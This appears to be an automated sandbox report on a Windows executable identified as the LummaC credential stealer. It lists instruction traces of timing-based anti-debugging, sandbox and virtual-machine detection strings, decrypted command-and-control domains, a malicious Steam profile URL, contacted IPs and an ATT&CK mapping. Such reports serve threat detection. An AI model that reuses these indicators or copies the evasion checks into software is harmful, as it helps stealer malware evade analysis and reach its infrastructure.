Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A88EB second address: 6A8910 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BEBh 0x00000007 jmp 00007F65C0B38BF3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9435 second address: 6A9467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 je 00007F65C10F1090h 0x0000000d pop edx 0x0000000e pushad 0x0000000f pushad 0x00000010 jl 00007F65C10F1076h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9467 second address: 6A949E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C0B38BEFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F65C0B38BEEh 0x00000011 jmp 00007F65C0B38BF3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A949E second address: 6A94A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A94A2 second address: 6A94A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A94A8 second address: 6A94B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F65C10F107Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A94B6 second address: 6A94BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD0C0 second address: 6AD0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD0C6 second address: 6AD0CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE9E4 second address: 6AE9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C10F107Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B853D second address: 6B8544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8544 second address: 6B854F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F65C10F1076h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA4FB second address: 6BA50E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F65C0B38BEAh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA359 second address: 6BA373 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1080h 0x00000007 jo 00007F65C10F1076h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C41BE second address: 6C41DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F65C0B38BF2h 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C41DD second address: 6C4209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F65C10F1076h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F65C10F1083h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007F65C10F1076h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4209 second address: 6C420D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C420D second address: 6C4211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4211 second address: 6C4223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F65C0B38BE6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D26EB second address: 6D2709 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1086h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA87F second address: 6EA89C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C0B38BF9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA9F6 second address: 6EA9FE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA9FE second address: 6EAA19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F65C0B38BF7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAA19 second address: 6EAA22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAA22 second address: 6EAA47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F65C0B38BF2h 0x00000011 jnl 00007F65C0B38BE8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAA47 second address: 6EAA4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAD09 second address: 6EAD15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F65C0B38BE6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB2AF second address: 6EB2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C10F1085h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB451 second address: 6EB45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F65C0B38BE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB722 second address: 6EB72F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F65C10F1076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB72F second address: 6EB749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F65C0B38BF2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE407 second address: 6EE411 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F65C10F1076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE411 second address: 6EE417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE417 second address: 6EE43A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F107Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F65C10F107Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE43A second address: 6EE454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F65C0B38BF6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE9C6 second address: 6EE9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE9CC second address: 6EE9D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE9D1 second address: 6EE9FF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F65C10F1078h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f pushad 0x00000010 movsx edi, di 0x00000013 mov cx, 4D5Dh 0x00000017 popad 0x00000018 push dword ptr [ebp+122D2945h] 0x0000001e mov dx, ax 0x00000021 call 00007F65C10F1079h 0x00000026 push ecx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE9FF second address: 6EEA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jnp 00007F65C0B38BE6h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EEA16 second address: 6EEA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F65C10F1076h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 ja 00007F65C10F1088h 0x00000016 mov eax, dword ptr [eax] 0x00000018 push esi 0x00000019 jmp 00007F65C10F1089h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jc 00007F65C10F1078h 0x0000002b push edx 0x0000002c pop edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50D38 second address: 4D50DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ecx, dword ptr [eax+00000FDCh] 0x0000000c pushad 0x0000000d mov bx, si 0x00000010 pushfd 0x00000011 jmp 00007F65C0B38BEAh 0x00000016 or si, 34D8h 0x0000001b jmp 00007F65C0B38BEBh 0x00000020 popfd 0x00000021 popad 0x00000022 test ecx, ecx 0x00000024 jmp 00007F65C0B38BF6h 0x00000029 jns 00007F65C0B38C08h 0x0000002f jmp 00007F65C0B38BF0h 0x00000034 add eax, ecx 0x00000036 jmp 00007F65C0B38BF0h 0x0000003b mov eax, dword ptr [eax+00000860h] 0x00000041 jmp 00007F65C0B38BF0h 0x00000046 test eax, eax 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b mov eax, edx 0x0000004d pushfd 0x0000004e jmp 00007F65C0B38BF9h 0x00000053 xor esi, 289529E6h 0x00000059 jmp 00007F65C0B38BF1h 0x0000005e popfd 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50DF5 second address: 4D50E05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F65C10F107Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50E05 second address: 4D50E09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 453860 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5EDBBD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 617E35 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4537B9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 684DCF instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 1424

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218364928.0000000000E55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218429199.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199613296.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218168501.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00435BB0 LdrInitializeThunk,

0_2_00435BB0

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: clearancek.site
Source: file.exe	String found in binary or memory: licendfilteo.site
Source: file.exe	String found in binary or memory: spirittunek.stor
Source: file.exe	String found in binary or memory: bathdoomgaz.stor
Source: file.exe	String found in binary or memory: studennotediw.stor
Source: file.exe	String found in binary or memory: dissapoiznw.stor
Source: file.exe	String found in binary or memory: eaglepawnoy.stor
Source: file.exe	String found in binary or memory: mobbipenju.stor

Source: file.exe, file.exe, 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Process Injection	24 Virtualization/Sandbox Evasion	OS Credential Dumping	631 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	24 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	23 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	0%	URL Reputation	safe
https://store.steampowered.com/stats/	0%	URL Reputation	safe
https://medal.tv	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://store.steampowered.com/steam_refunds/	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	unknown
sergei-esenin.com	104.21.53.8	true	true	unknown
eaglepawnoy.store	unknown	unknown	false	unknown
bathdoomgaz.store	unknown	unknown	false	unknown
spirittunek.store	unknown	unknown	false	unknown
licendfilteo.site	unknown	unknown	true	unknown
studennotediw.store	unknown	unknown	false	unknown
mobbipenju.store	unknown	unknown	false	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
studennotediw.stor	true		unknown
mobbipenju.stor	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
bathdoomgaz.stor	true		unknown
dissapoiznw.stor	true		unknown
spirittunek.stor	true		unknown
eaglepawnoy.stor	true		unknown
clearancek.site	true		unknown
licendfilteo.site	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.akamai.st	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/?subsection=broadcasts	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218168501.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/subscriber_agreement/	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://avatars.akamai.steamstatic;	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
